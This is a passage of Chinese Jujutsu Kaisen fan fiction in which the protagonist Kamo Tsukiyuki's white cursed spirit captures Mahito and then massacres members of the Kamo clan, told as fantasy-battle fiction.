数个不同的增益效果接连降临,但很快又被刷新,幸而“治愈”不是一种需要持续进行的状态,他在得到三次的“治愈”结果后,恢复了一定的气力。 他收回了骰子,颤微着站起身来。这里距离那个祠堂并不远,在确定了方位后,他开始往那个方向走去。 山中的环境阴凉潮湿,越是往外走,那些回荡在耳边的山林的细小的声音就越低弱,似是在表明着前方存在着一位极危之物,在这样的冷清中,裴真抬起手,放出了一只小家伙。 【使灵·小鸟】,这是他在从前抽出的,是一只毛发蓬松,白色带点淡蓝色的圆滚滚的小鸟。它在出来后,一点也没察觉到周身环境的诡谲,一阵叽叽喳喳乱舞后,它飞翔在前面,要给主人领路。 裴真在走到祠堂外围处时,就收回了心神。加茂月行微微转动了下眼珠子,感到主体的脱离,他面上的表情沉寂了下来,毫无感情地看了眼祠堂外跪倒一地的人。 内里的咒胎也像是感应到了什么,它发出奇诡的笑声,在神龛中改换了一下姿势。 加茂月行一路往前行走,反正也没有其他的人,没有遮掩的必要。随着他的行进,那些狂热的村民们每一个的头顶都冒出了白色的烟气,犹如被吸入一般,它们聚拢往祠堂内部,一道烟气消失就有一个村民倒下,他一路行来,一具具的身体就在他的身侧接连倒下,面部还保留着生前的狂热,场景诡异中透出可怖。 他终于踏入了祠堂之内。 神龛下的小桔子早已为外边的声响摄去了心神,她不敢想象,能从那神龛中爬出来的是什么鬼东西,它能自由活动后,又会对外面的人做出些什么,她越想越恐惧,仿佛下一刻自己的血肉就要被吃掉。 直到帘幕微动,一个全然白色的邪异之物在外向内窥伺。她的恐惧提升到极点,眼一翻,她晕了过去。 加茂月行就站在这邪异之物的身后,他面容俊秀,身形修长中带着消瘦,因为失血,他的唇色苍白,一对漆黑的眼珠幽邃若渊,冰冷中透着漠然。 他居高临下地看着两人,一身染血的宽旧长袍,乍一看上去,好似竟比那邪物更为可怖。 柳生明澈笑了起来,他从神龛中钻出,看了眼晕过去的小桔子,他叹道:“倒是省了我将她打晕了。” 祠堂内横七竖八地躺倒着一地的祭品,看现场像是什么邪教祭祀的仪式,现实也确实是如此。只是“邪神”的本尊,早已在本体的手段中成为了自己的囊中之物。 看了眼乖乖站在一边的咒胎,柳生明澈问:“它已经可以诞生了吧?” “有了它的力量,你也算是能在咒术界中站稳脚跟了,”柳生明澈说:“那个腐朽的世界,力量才是一切的根本。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 130-140 第131章 真人 在本体早先的同意下, 此处的咒胎将这里的“最后一顿晚餐”一次性全部吸入完毕。 加茂月行只淡淡地看了眼晕过去的小桔子,就对着柳生明澈说:“数百年的孕育,本来就已经到了出世的边缘, 这一次大数量的进献,也算是将最后的一点补齐了。” 柳生明澈微笑着,他看向纤纤站在一边的全白色身影, 对方走下来后,才发现它的身形有些袖珍, 一张柔软的白长布将它上半部分的脸遮住,他只能看见它意味不明的笑。 若说这也是本体的马甲, 那么,它就是他们其中最难以捉摸的一个。 身影偏了偏头, 它似是感应到了什么, 笑容加大, 整个的身影在吸纳了最后一缕烟气后,微微弯腰蜷缩,化为了一个诡白色的团, 一呼一吸间, 团体也随之起伏而动, 直到最后, 它重新将自己生出来一遍。 柳生明澈笑意迷离:“人类对于寿数将空的恐惧,化为了山间的这一道咒胎。更奇异的是, 它竟然没有当年就选择出世, 而是与前来搭话的村中人达成协议,自此以后, 他们为它源源不断地送来祭品,而它, 则是在吞噬完‘肉食’后,将一点反哺的寿数交由给他们。彼此双方,在此地就这样‘相谐’地度过了数百年,这种丑陋的互生关系,还真是让人想想都觉得惊奇呢!” 加茂月行脸色苍白,他看着这以后的护身之物,平淡道:“那又如何,最后还不是落在了我们手中,主权已失,意识更是被彻底消灭,徒作他人之妆。” “是啊,是啊,”柳生明澈笑得更加灿烂:“想要的太多,最后就什么都得不到。这也算是一条亘古的道理了。” 一道嬉笑的声音在他们耳边响起,他们一齐看向肉胎,对方静止下来。 一瞬间,村外的来人猛然抬头向这里看来。悠闲的笑意顿了顿,某种兴奋感爬上他的眼瞳,他不再为外物所吸引,但速度也只是比在村庄中时快上了两分。 山中的路并不短,他一边哼着歌,一边前行,花费了一段时间,终是在虫鸟不鸣的寂静中,看到了那一座祠堂的轮廓。 白衣的村民们躺倒了一地,他们的面上神情狂热,让人看到都会不由心生寒意。可他望都不望,只是朝着那里走去。但,接下来没有他预想中的动静。 一个人从中走了出来,他穿着宽旧的长袍,前面还带着一大片的血迹,他的脸色虚弱没有血色,一步一步走得很慢,可很稳定。 “嗯?”来人向上而去,出来的人往下方走。二者目光交接,一人带着笑意,一人冷静无波。 谁都没有停,直到他们一点一点地接近,在半途中就要交错而过。 来人伸出手来,他看似随意地要搭在另一人的肩上,就像是半路上遇到问题,要向人寻求帮助的游人,然而下一秒,他面上的神情陡然一肃,身体猛然往后一跳,躲开一道凛冽突兀的斩击,接触落空了。 他咧开嘴,灰蓝色的长发在身后抖动,他饶有兴致地看着这个出现在这里的奇怪的人,说出的话中带着一丝笃定:“咒术师?” 从祠堂中出来的人正是加茂月行,他看着这个面部和身体上布着缝合线,仿佛是由尸体拼凑而成的家伙,皱了皱眉:“咒灵?” “咒术师怎么会在这里?”咒灵的眼中混杂着一种孩童般的好奇,他上下打量着他,恶意毫不遮掩:“还是个这么弱小的家伙,你不应该是被它吃掉吗?” 他的好奇是纯粹的,但恶意也是极度庞大的,他的双眼发亮,像是见到了什么有趣的东西。 加茂月行认出了他,因为在原著的咒术回战中,他也就是咒灵一方最为重要的战力之一,但这么快就见到是他没想到的。之前还没有这个马甲的时候,本体连咒灵也没看到一个,咒术界的人也同样如此,而他这个马甲只是刚生成没多久,就有特级的咒灵找上门来。 不,他没有回头。或许他来找的不是他。 “咦,”仿佛感觉到了什么,这咒灵面上现出一缕苦恼:“你身上,好像有哪里很奇怪……” 加茂月行咧了咧嘴,他轻声道:“嗯,你发现了什么吗?” 咒灵愣了愣,他又观察了他一下:“呃,我发现了……不,可以饶过我吗?我其实什么也没发现,求求你了,放过我,我什么都不会说出去的!” “——才怪!”他突然大喊,面上是极度恶劣的笑意,他迅速地窜过来,之前的求饶更像是一场强者对弱者戏谑的耍弄,他呵呵大笑,一只手又重新伸过来:“不管你有什么自以为的小秘密,只要经过了我的‘无为转变’,你的什么秘密都只会像是本书一样向我摊开,人类就是这么弱小到不可思议,尤其是在我的面前!” 他面上满是兴奋,恍如下一秒,就能将这个人类的灵魂在手中揉捏搓扁。可下一刻,他面上的笑就僵住了,一只苍白色的手臂挡在了他和这个人的中间,他傻傻地抬起头,见到一个新的身影。 它浑身上下都是白色的,珍珠一样的洁白,它的身形很瘦,但绝非嶙峋,而是一种修长优雅的姿态,它穿着一件全白的袍服,没有一丝的躯体裸露在外,犹如一位害羞的神人。它的足下也被这宽大的长袍遮掩,衣摆处有莲花隐现,为其添上一抹圣洁之意。 它的身姿很长,有一个半人那么高,脖颈也有些细长,微微垂下,宛如柳叶拂风,它的面上有三分之二的部位被一条绸缎般的白布遮掩住,将其下的眉目与鼻子完全取代,只一张秀雅的唇露在外部,透出极淡的红。它微微转过头,咒灵能感觉到,它正从那绸缎般的白布后瞧着自己,它绝对没有人类的眼睛,可它也真的是在“看”自己! 就是这个突然出现的东西挡住了自己的暗袭!这种东西完全不是人类! 感应了一下这个家伙的气机,咒灵脸上扯开一抹笑:“我说是什么,原来是我的同类啊,你就是刚才在这边‘出生’的家伙吗?只是……你怎么现在就出来了,还是,跟在一个人类的身后……” 他偏向前面虚弱的人。人也同样在看着他。 咒灵理了理心情,他面露欢笑道:“你的‘出生’是好事啊,这代表着我们这边又多了一位同伴。对了,你还不知道我是谁吧?我的名字是‘真人’,是由人类对人类的憎恨与恐惧中诞生的诅咒,和你差不多,我也是这个世纪新诞生出的咒灵,那么你呢?” 白色的人影没有说话,它好似没有开口的意图。但真人也无法欺骗自己,他露出苦色,瞧着这一人与新生的咒灵,道:“喂喂喂,这不应该吧,咒灵天生就对人类充满了毁灭的意图,因为它们本身就诞生自他们的负面情绪,你怎么可能……” “呼,”加茂月行突然轻呼出口气,打断了他的话:“我原本还在想,要到哪里去找你,可谁知道,没有去寻你,你却是第一个就出现在我面前。算了,虽然没有时间去提升些力量,但既然遇到了,就在这里你解决掉吧。” 能改造灵魂的真人是一个隐隐的威胁,他的能力与王权剑的权能有一部分重叠,他的马甲也是由“夺舍”异变而来,他不得不将之考虑在内。就算他料想错了,但,有一丝可能也要将之湮灭。 “你知道我?”真人十分聪颖,脸上浮出疑惑,他看向加茂月行:“不对,我如果见过你,不可能没有印象,虽然你很弱小,但遇见过的咒术师我都记的,除非是死了的……” 加茂月行不答,他只是露出一丝浅淡的笑,甚至是连自己的身体都没有动一下,下一刹,那白色的咒灵就完全转过身来,“砰,砰,砰……”古怪的声响接二连三地传来,真人面不转,眼角的余光看见,在他身侧原本倒下的那些信徒们的尸体却又诡异地重新站起来,他们头颅低垂,背部隆起,四肢犹如面条般摇晃摆动。 “什么东西?”真人额边隐隐滴落下汗:“不行,不能再等了,要先下手为强!” 他飞快地朝着站在前面的人类袭击而去,他的身体轻盈,手中没有拿有武器,更像是游戏般轻轻拍向人类。白色的咒灵身躯一晃,阻挡在加茂月行面前,它伸出手,手也是一种诡异的白,指甲宛如尖锐的刺,它接过了真人的袭击,双方之间进行了第一次正面的交锋。 真人不由得往后连退几步,他的面色严肃起来。他已经亲身体会到了,这个新诞生的咒灵确实是如他这般的特级咒灵,只是不知为何,会听从那个弱小无比的人类的命令。 加茂月行就这样站在它身后,似乎一点也不为自己的人身安全感到担忧。 “绝对有什么秘密。就算是那个家伙的‘咒灵操术’,也不该在二者相差这么大的情况下能将之收服……”真人在心里这样想。 “噗噗…嘎吱嘎吱……”奇异的古怪的响声更大了,真人瞧见,那些站起来的躯体中,有什么坚硬的物体从后背处破体而出,是一条条雪白的长的骨脊椎。它们宛如游龙般朝着白色的咒灵飞去,就好像是它们生前的主人,无比虔诚地跪倒在他们的神面前。 第132章 俘虏 雪白的脊骨从现场倒下的尸体中飞速朝着白色的咒灵而去, 它们化作了一条游动的长龙,在咒灵的周身咔哧咔哧地转动着,咒灵伸出手, 将这骨质的“鞭子”握在了手中,另一端则在其身后化为了一个转动的圆。 “这到底是什么,”真人看着这一幕, 忍不住道:“你又是代表了什么的咒灵?” 他们二人现在正身处在唯一一条直通向祠堂的道路上。真人微微眯起眼睛,他想要接近加茂月行, 除开他更像是二者间的主导者外,也还有他的术式是只在人类身上才能发挥出最大的力量。谁让他是代表了人类对人类憎恶的咒灵呢! 可他完全不能接近。白色的同类飘动起来, 无数的白骨在它的周身形成了一道道不断旋转的各异的圆。真人眼神一厉,他霎时跳开, 原地被一条突兀袭来的白骨砸出一个坑, 来不及分析, 他不得不接连在空中迅速逃窜,那白骨犹如锁链般袭来,蛇吐信一般追在他身后。 “一定要打吗?”他一边跑一边大声叫道:“刚才是我不知道你属于那边, 现在我们可以重新达成协议么?” 他口中说着, 将右手变化成一个锤子的模样, 一下子将身后追来的长骨锤走, 可很快,他就又重新转身逃跑, 以躲过更多的袭击。“我们可以再谈谈, 我愿意真诚道歉,给你跪下都可以!” 可惜他说的话, 加茂月行一个字也不相信。 “嘻嘻,真不好玩, 你们一点都不上当。”就算旁边跪倒过那么多的人类,但他到来的时候,这些人早已死去了,没有一道灵魂还留存在他们的尸体里,少了这么多可以用来塑造的素材,这让真人有些恼怒。最近的灵魂还是在祠堂里边,他被挡在这里,根本过不去。 他的背部和腿部增生出类似甲胄一样的东西,上面布满了缝合线,在躲不过去的时候,就用这些去抵挡袭来的“骨鞭”,他的眼神幽暗,面上开始浮出疯狂之意,嘴巴裂至耳根,他大笑着从自己的身体里拽出一根肉质的长枪:“那就来让我,看看你这新生的特级到底有多强吧!” “看看谁的骨头更硬!”咒力挟裹在枪尖上,与“游龙”碰撞发出金石之音,一瞬激烈的交战爆发出轰然的气势,无尽的白骨的细链在空中交织,白色的咒灵站定在后方,它静静地看着这一幕,似这便是它所有的进攻。但在稍许后的刹那,一道可怕的身影从中跳出,原来不知何时,交战中的另一方竟是已经到了它的眼前。 真人狂笑着,他面容扭曲,嗓音癫狂愉悦道:“哈哈,让我来看看你的秘密!”他的一只手已经穿过了白色咒灵的身形,就要触碰到加茂月行——白色的咒灵忽然唇角加大弧度,它轻轻说出些什么。 某一个瞬间被拉长,那些字词飘进了真人的耳中,除此之外,天地间没有任何其它的声音。真人瞪大了眼,他面上的神情依旧停留在癫狂上,但眼底里弥漫起了茫然。 一种细微的碎裂声自他的心中响起,他布满了缝合线的脸上倏然现出了细密的裂纹,就像是树皮的褶皱蔓延,这种现象很快就延伸到了他的全身,他大叫了起来,再不顾他的猎物,整个人疯狂后退。 “这是什么!你干了什么?你对我做了什么?!”真人眼中流露出恐惧,自他诞生以来,所有与“人”之存在这一概念有关的东西,肉|体与灵魂,都不能对其造成伤害,相反,他能够任意地去操纵它们,并以此来获得利益。 他跌跌撞撞地往后退。另一个真人的身影出现在加茂月行的眼中。原来方才他是将自己分裂成了两个,其一用来吸引白骨“长龙”的注意力,另一个则是悄悄地潜近,在最短的时间内,解决自己的对手。 他的皮肤皱起,缩水,渐渐地叠起纹路,另一个的真人则好奇地看着先前的自己蜕变,他的眼中浑浊,身形也矮了几分,一张还算英俊的脸腐朽不堪,他喃喃道:“我能感觉到,它们在不停地分裂,分裂,就像没有尽头,哪怕是步入时间的终局……” 后面完好的真人有些害怕地往后退出一步,眼中眼珠在滴溜溜地转。“我知道了,我知道你是由什么诞生出的咒灵了!你是……”先前的真人突然大喊,他喘息了一声,剩下的话还没有说完,另一个的身影就飞速地腾跃而起,朝着远方奔去。他竟是抛弃了另一个的自己,选择了逃走! 白色的咒灵陡然震动,没有再继续与之试探的意思,它蓦地飞向了天空,张开了双手,更多的白色的骨头从山坳下颤动飞出,数百年的积累在今日一次性使出,它们狂舞着组合在一起,渐渐地,似乎将此地形成了一个特殊的领域。 逃走的真人在外面惨叫一声,紧接着,那里又爆发出了强烈的战斗声,白色咒灵的衣衫也无风自动起来,强大的咒力在将这片地方向着另一种性质转变。祠堂中,柳生明澈静静地看着这些,加茂月行也是静立在原地,他就是想做些什么也做不到,他现在的力量确实只是一位微不足道的咒术师,对于这种特级间的战斗插不上手。 巨大的咒力的波动引起了咒术界的注意,观测的人员骇然地查看着这边能量的等级,并迅速将之报告上去。 加茂月行闭眼体会着这具咒灵体在这期间使用出过的两种力量,其一是为“飨食之宴”,那些贪婪又愚昧的村民们,他们不知道,自在与他们眼中的“邪灵”达成了协议后,他们的所有,包括身躯与灵魂,就已经再也不是自己的了,他们跪祭“神灵”,“神灵”也便将他们视作一道道奉献上来的“飨食”。 其二为……“夺岁”。就如同瞬间拿走了所有村民们剩余的寿数一般,它在真人突脸进攻时,也一下子拿走了它所有细胞的寿数。它们不得不在一次次的“死亡”后不断地分裂新生,然后由此,大大地缩短了细胞整体的寿命。在短短的时光中走完了一生,真人便由此苍老了下去。 他还可以分出更多的部分,乃至又一个新的自己,但这种衰老也会同样包含在他新的躯体内,这简直就像是一种诅咒,令其永远处在这种不断衰减的状态中。你们可以说他并非是人,但,不是只有人才拥有岁数,只要不是永恒,那便无法逃脱寿命之论。 白骨铺天盖地地穿刺而去,这整片地区域都完全掌握在了白色的咒灵手中,此刻的它,彷如一位真神漂浮在空中,注视着这一幕。他不该来到这里,这个地方是这具咒灵的诞生之处,在此地,它可以发挥出超过它本身的力量。 森然的白骨缠绕起来,它们盘曲在一起,往内里生长出带有倒钩的骨刺,另一具熟悉的身体被从外围带了过来,他无力地瘫倒在“骨龙”塑成的牢笼里,四肢与身躯都被交错的骨刺深深钉住,他一动不能动,见到自己又重新回来了这里,对着白色的咒灵与加茂月行惨淡一笑:“我说我这一次是真的想要投降了,你们信吗?” 这是逃走的真人,没有逃走的,也同样被骨牢束缚起来了。他已经没有了反抗的能力,整个人苍老无比,想要说话却只是咳嗽,肉和皮耷拉垂下,十分难看。 加茂月行终于走了出来,白色的咒灵漂浮在他的身后。两位真人们已经确定了,这个新诞生出的特级的咒灵确实是在他掌控中的。他们第一次认真端详这位弱小无比的咒术师。 加茂月行打量了他们一会,没有立即给他们判死刑,想了想,摇了摇头:“我不信。” “先带走吧。”他如此说。没有回头,让白色的咒灵带领着自己这一次意外中获得的战利品,往着一个方向走去。 后面的祠堂中,柳生明澈望了望他的背影。他看了眼四周,想了想,找了一个位置重新躺了回去。 很快,没有了咒力封锁的村庄就迎来了警力的包围,记者们被阻挡在外。网络上的浪潮被压了下去,但明星们被解救出来的图片还是被发表了出来。有另外的一波人也来到了这里,他们出示了特别的证件,进入了被限制的区域。 他们进去的时间不久,可出来后,每一位的脸色都很难看。 第133章 加茂家 一场交战后, 现场唯余一片狼藉。咒术总监部第一时间就派了人过来,警察在外面负责隔离,里面的人正在勘察。 土地被“犁”了一遍, 残余的尸首被暴露在外,空气中都是残留的咒术能量。伊地知洁高也是此次负责勘测的人,随行的人中也有其他的咒术师, 这次的事件太大了,虽然没有实时出现在公众面前, 但在网络上还是有不少人在关注着这里,他们需要尽快将事情查出。 “前面就是那些幸存者们待的祠堂吗?”身边有人问。“这不对呀, 一般来说,距离源头越近是越不可能活下来的……”他在嘀咕:“那些人都去调查过了吗?” 伊地知回答:“都是些来这里拍戏的剧组成员, 是被当做祭品抓到那里的。过来的时候就晕了, 问他们什么都不知道。” 柳生明澈晕过去前还特地给自己绑了一圈绳子。 有另一人哼声道:“这些人根本不知道自己遭遇的是什么, 好不容易活下来,发通告的发通告,接拍戏的接拍戏, 还有人立刻就发了张专辑, 真是……” 还大火了起来。真不知道现在的人都在想些什么。 负责查资料的人跑过来打断了他的话:“这些是过去这个地方的地志, 有关这个村子的不多, 祠堂就更少了。不过……”他面露为难:“好像查出来有不少的人来过这里。” “政界的人和富商?增寿,福津寿神?”伊地知将东西拿过来一瞧, 渐渐的, 他的眉头皱了起来:“有几百年了,怎么回事, 之前都没有发现吗?” “只是近几十年现代网络发展过快,才让一些东西从最底层被翻出来。”之前的人回道。 “呵呵, 那些人还真是一个套路啊,什么脏的臭的地方都有他们!”伊地知身旁有人忍不住小声讽刺道,伊地知装作没听见。 他们到了祠堂中,祠堂的布置很显然都是最近更新过的,布局十分肃穆郑重,中央的高台上是一个古老庄严的神龛,神龛中只铺垫着一层绸缎,上面空荡荡的,什么都没有。 伊地知的同事看了眼绸缎上的褶皱,回望同伴道:“这上面之前有什么东西。但它现在离开了。” “它是自己走下来的,”伊地知抽了口烟,他微微眯起眼睛:“奇怪,为什么没有伤害下面的人?” 随行而来的咒术师咧开嘴笑了:“用到村庄中来的游客做祭品,这样的事这些人看来不是一次两次干了,这次连有电视台在拍摄都要动手,他们的胆子已经被养到肆无忌惮的地步了。这种被人类用自己的同类养出来的咒灵,从古至今都不缺少,而这个更是被养了数百年。” “你们猜,”他转过头来道:“那两个特级的咒灵的波动中,哪一个是它呢?” 来的人脸色都很难看。他们需要立刻将这里的事报告给上级,然后派遣来特定的咒术师,将此地的隐患尽快消灭。 ………… 加茂月行从山中往外走,手中的俘虏被他安放在了另外一个地方。真人是一个很特殊的咒灵,他特别就特别在他的身份,还有手段。灵魂一直都是个禁忌的领域,可若是真的要继续变强,那又是个不可缺少的部分。 山中的清晨一直都很冷清,之前交战的氛围从他的身上褪去,加茂月行就又成了那个年轻的、消瘦的、沉默寡言的弱小的咒术师。风从他的衣领中穿入,将他身体中本就不多的温度带走,早起的晨露从草尖凝出,将一切都变得清新。白色的使灵鸟雀跃着往后飞回,月行伸出手,让其停在自己的手指上,他凝视着它出了会神。 两条白色的手臂从身后圈了过来,从肩膀上垂下,将他拢在了怀里。加茂月行回过神来,他微微一笑道:“不用担心,我只是一时不知道自己要去做什么。” 真人无法理解他是如何以微弱的身份将这一出世就有特级的咒灵控制在手中的,其实他不知道的是,他根本就没有控制它。是本体以“无色之王”的权能将自己很少的一部分投入【灵体】,以此构建出一个没有[身份]的马甲,然后再利用“王权”与“抽奖系统”的能量,使【时装·灵体】吞噬掉“咒胎”中还未完全诞生的意识,将其夺取过来,转变为了【时装·咒灵体】。 这相当于是本体创造出了一个很小的马甲,它会思考,会亲近本体与其马甲,又不会因为自己特异的身份而感到苦恼。它本身就是另外的一个[他],自然不会伤害他。 在出来山后,那将自己送过来的加茂家的人果然已经消失了。车子也没有,他只好选择租车。 他没有换衣服,身前的那一大片血迹吓到了不少人。他只是思索了稍许,就知道了自己要去哪里,果然,还得是—— 加茂家。 “站住!”有人看到了从外界归来的加茂月行,看样子是负责守卫的人,瞥了眼他身前的血迹,没有对他的受伤表示什么,只是淡淡道:“名字和身份,还有这一次出去的任务信息。” 加茂月行勾起了唇,从怀中掏出几样东西。验证过后,守卫的人见结界没有波动,就放他进去了。 加茂家是一个很古老的家族。作为咒术界的御三家,他们有着自己的领土与家族体系,他们以“赤血操术”为传承术式,以血为武器,自然最为重视血统的浓厚。这样以“血”为区分的家族,有着一套格外严格的嫡庶区分方式,核心成员有着“最纯正”的血,拥有着最为高贵的地位。 “看看这是谁回来了?”还没等加茂月行将一路上的风景看遍,就见到有人带着人包围到了他的身边,来人先是不屑地瞅了眼他身前的鲜红,然后哈哈大笑起来:“居然没有死在那里吗?你这野狗,受了伤还知道回来舔舐,稀薄之血,看来也就这点本事了,早晚有一天会死在外边!” 加茂月行第一时刻生出的不是愤怒,而是新奇。他只稍微搜寻了下记忆,就从中找出了这个人的身份。他并不是这个古朽家族中的嫡系,而是嫡系跟班中的跟班,但就是这样的人,才是最瞧不起旁支的人。加茂月行的“过去”就曾受过他的欺压,他们会通过管事夺取他的物资,并将一些不好的任务抛在他的头上。这一次明显超出了他能力的任务就是他们派出来的。 来人面上带着明晃晃的恶意,身后的人也都发出找乐子的笑声,他们将他堵在角落里,就算有路过的人瞧见了,也没有要管的意思。 使灵鸟愤怒地在他的肩头跳脚,看样子好像恨不得下一刻就用自己的鸟喙去啄他们。 它的活跃引起了人的注意,为首的人眼中一亮,“这是什么小玩意,看着挺逗趣的……”他想也不想就伸出手来,要将这小东西攒在手中。若是贡献给嫡系中的那几位小姐,说不定还能得到奖励与赞许。至于加茂月行?他不敢反抗的。 他面上带着嬉笑,脑中这么想着,直到下一秒,一道白色的东西极速穿行而过。 “诶?”鲜血泼洒在他的脸侧。他的神情呆滞,剧烈的疼痛随即而来,他刚想要大喊,更多的白色的骨质之物从他的身后穿透而出。他的躯体被吊了起来,只能听见身后小弟们过于惨烈与恐惧的大喊声。 “我……”他呕出口血:“要死了吗……”他低垂下头,看到有一道白色的身影出现在那个人的身后,它全身都是洁白色的,散发出一种熟悉又强烈的波动。 “咒、咒灵!”有人大喊,他们疯狂地要往后逃窜:“有咒灵入侵了!入侵本家了!!” “什么?”更多的人反应过来,有人往这边跑来,也有人往后退。但特级的能量还是迅速引起了主家的警戒。“怎么回事?”掌家的人严厉地问身侧人。 有人惶恐回答道:“不知道,是在结界中发生的,结界外没有反应,今天是入海家值的勤,只有交任务的人回来,他们都没有问题。” “你是说,没有问题会让特级的咒灵出现在我们的结界中?”家主声音中蕴含着无边怒火。 负责的人就立刻跪倒下来,整个人抖如筛糠。 冲突爆发开来,等到家中的主力队来到中心处的时候,那里已经被密密麻麻的白色的骨质“长龙”占据了,它们犹如锁链,横七竖八地将半空完全封锁,不少的躯体被它们横挂在其上,四肢与脑袋垂下,明显已经失去了生命! “好胆!”有长老会的人怒吼起来。他们看着这惨状,感受到了从未有过的挑衅。 鲜血染红了土地,他们看向中心,当他们看到加茂月行的时候,愤怒充斥了他们的脑海:“你是谁,这咒灵是你带进来的吗?” 加茂月行就笑了起来:“不认识我吗?也是,分家那么多人,不认识我也是应该的。” 有管理家族的人凑上前来,小声地将其身份说了出来。 长老眼神一凝,但其面上的愤怒更甚:“果然是支脉!”他转向咒灵:“和这种肮脏之物勾结在一起,在家族驻地作乱。无理粗鄙,真以为通过杀戮,就能够让你得到以往不曾有的东西吗? 加茂月行奇怪地看了他一眼:“你在说什么啊?” “不过,对于你的话,我也有回答,‘当我有了掀翻一切的力量后,该考虑那些的就不应该是我,而是你们了。’” 第134章 跪倒 有些人会在拥有力量后按捺住自己, 因为他们认为,力量并不是一切,创造永远比杀戮艰难, 而混乱只会将结果导向不好的方向。如果你有想要的东西,最好还是在和平稳定的基础上去争取。 加茂月行认同这一观点,但幸而他自己不是这种人。也幸好作为御三家的加茂家不是值得他这样做的家族。把持了咒术界上千年的古老家族, 在这个时代,已经能称得上是尾大不掉的毒瘤了。 全部屠杀掉或许有冤枉的, 但数量最多也就是百多人中的一个。 为什么要用自己的短处去与那些老家伙们对擂?他们一辈子浸润在阴谋里,已经里里外外成为了一副恶心人的样子, 脑子微一转动,就会是一个刁钻的诡计, 你可以看清他们一个又一个的圈套, 但只要陷入一次, 就会给你带去不确定的危险。加茂月行或许能应对,但会很烦。 他的智慧同样能从这其中找出一条披荆斩棘向上的道路,但为什么不一开始就将这些荆棘斩断?他可以同他们玩权谋, 但会很烦。 他看向被自己挂在半空中的那些人, 他们往日的时候大都是洋洋得意地出现在另外的人面前, 在这一摊腐烂的烂泥中, 他们也是最令人作呕的一批,他又看向了站在自己面前的主脉的人, 蓦然一笑道:“我知道了, 你们以为我是为了我从前在族中遭受过的待遇而来。” 为首的是一位披着玄色羽织的老者,他须发皆白, 浑身上下无一处不透露出养尊处优的意味。他现在正一脸厌恶地看着他,仿佛他干出的是一件多么违背了公理正道的事。不论他们有多么腐朽, 他们做的事也是应当的,但只要你反抗,就是大恶不赦之徒。 “需要我给予你帮助吗?”在另一处的空间中,艾略特给本体的这一个新的马甲传话道。他修长优雅的手微微一动,一条无形的锁链在他的五指间隐现。 “暂时不用,”加茂月行在心中暗暗说:“先看看它能做到什么地步吧。” “难道不是吗?支脉的弱等之徒,只以为自己遭遇的是多么不公平的待遇,却忘了御三家给予你们的庇护。你们以为外面的野生咒术师是怎样活下来的,摇尾乞怜、阴沟里寻食,朝不顾夕,能出生在加茂家就已经是你们最大的幸运了,居然还想要更多,真是一群欲壑不满的虫子!” 加茂月行顿了下,他看向旁边的加茂家的主事人:“你也是这样认为的?” 其他人都没有说话,但看他们的样子,他们同样是发自内心地认同长老的这番话。加茂月行笑了,他摇了摇头:“我从前一直都以为,人不该在一个十分庄重的情态下,说出些无智的话。” “那些小说和影视的作者们,都只是出于需要挑起纷争的目的,才塑造出那样一个个愚蠢到令人想笑的炮灰角色,可现在看来,这世上确实有些人,过得那样的日子多了,就真以为自己的那套是真理了,你们大肆吠吠,眼珠被过去糊得严严实实的,犹如守户之犬,得意洋洋啸天,还以为自己说出的是何等有意义的言论,但其实都只是些腐尸呓语,听了都要脏耳朵,真是不知所谓!” “如你等这般的人,除了死亡,没有什么能给予你们新生。”加茂月行看了他们一眼,那眼中竟是有着一丝怜悯。 这番话几乎是立刻就将赶来的那些人引爆了,他们怒骂着、咆哮着,痛斥加茂月行的僭越,陈诉他的负恩,并对他在得到一个不属于他的咒灵后,没有第一时间来向本家跪倒奉献痛恨谴责,加茂月行看着这一幕,觉着也算是扩展了一下自己的认知库。 但骂得多了,就令他感到不喜了。他沉下脸,对着身后的咒灵道:“将这里清洗一遍吧。” “住手,你这和咒灵勾结的背叛之徒!” “百敛·穿血!” “超新星,放开他们!” “你这无血无泪的魔物,居然对家族下如此狠手!” 加茂月行低垂下头,他在白色咒灵构建出的那片区域中走动,之前的鲜血已经将这里的大地染红了,现在外面也同样在流血。不要以为特级咒灵在原本剧情中出现那么多,它的力量就不足道了,咒术回战中咒灵的反派组织,真要算起来,也就只有四五个的特级咒灵,它们每一个,都能给咒术高专带去格外强大的压力与损失。 特级咒术师就更是只有四位,在夏油杰死去后,便只有三位了。 但到底是传承了千年的家族,在五条悟几乎是压倒性强大的实力下,他们也没有放弃在暗地里做一些小动作。 “赤鳞跃动!”一个高大的身影低喝一声,身如闪电般窜入到白骨制造成的领域中,他迅速用手中的武器拨开袭来的“游龙”,身躯一瞬又高涨了数分,眸中冷酷,出现一道星形标志,就要向加茂月行本尊袭去! “赤血操术·血星磊!”一位年轻的,身穿宽松大袍的术师手中动作飞快,鲜血从他的身体中毫不留情地涌出,化作一道道凛冽的暗器,他手指一比,这些东西就各自寻着路线往内穿刺而去。 “看来都是发现了我才是这一场战斗中的最弱点。”加茂月行没有动作。他本身的实力没有提升,也没有选择暗自隐忍下,发育一段时间再发难,被人针对也是当然的事。“只是……这些还不够!”他蓦然抬起头,白色咒灵身上的气势更甚,它漂浮在半空中,洁白的衣袍震震而动,束缚住上半张脸的丝带往后飘飞,它唇边溢出一抹笑,整体透出一种尤为邪异的神性。“它可不仅仅……是一具咒灵啊。”加茂月行在心中喟叹。 更加剧烈的冲突爆发而出。具体发生了什么,族外的人自然不知,而在其中幸存人的眼中,他们也不知道到底最后是如何发展的。那个白色的奇异的存在简直超越了他们过去对咒灵的所有感官,它漂浮在全部人之上,犹如是一尊邪神,在对着这个千年的古老家族进行最终的审判。所有人都视它为敌,用尽了方法要将之打落,但最后…… 族地里响起了婴儿的哭声,他们见到有十数具肿胀的婴儿从密地里跑出,它们仿佛是人类与咒灵的组合体,以极为怪异的形态从下方向白色咒灵攀爬进攻,哭声撕裂耳膜,似是族中潜藏下来的手段。 血液制成的河流奔涌,还有其它的怪物从密地中爬出,一道利箭从远方带着血色破空而来,各种各样的手段皆在往这个外来之物身上使,一时之间,天昏地暗,竟不知这里是咒术界御三家的族地,还是一个隐藏了不知道多少辛秘的禁忌之所……直到,他们耳边响起了絮絮之语。 如同许多人在一起说:“飨食飨食岁有春秋 人有枯荣老朽老朽死亦可供奉于神…………” “啊啊啊啊啊!!!!”不知道多少人抱着头痛苦地大喊出声,他们惊恐地发现,自己身上的皮肤正在飞快地变得粗糙暗淡,力气从他们的身体中流逝,腰背也在这样的诡异之语中弯下,有年纪大的,捞了一把头上,竟发现是一手松散的白发。 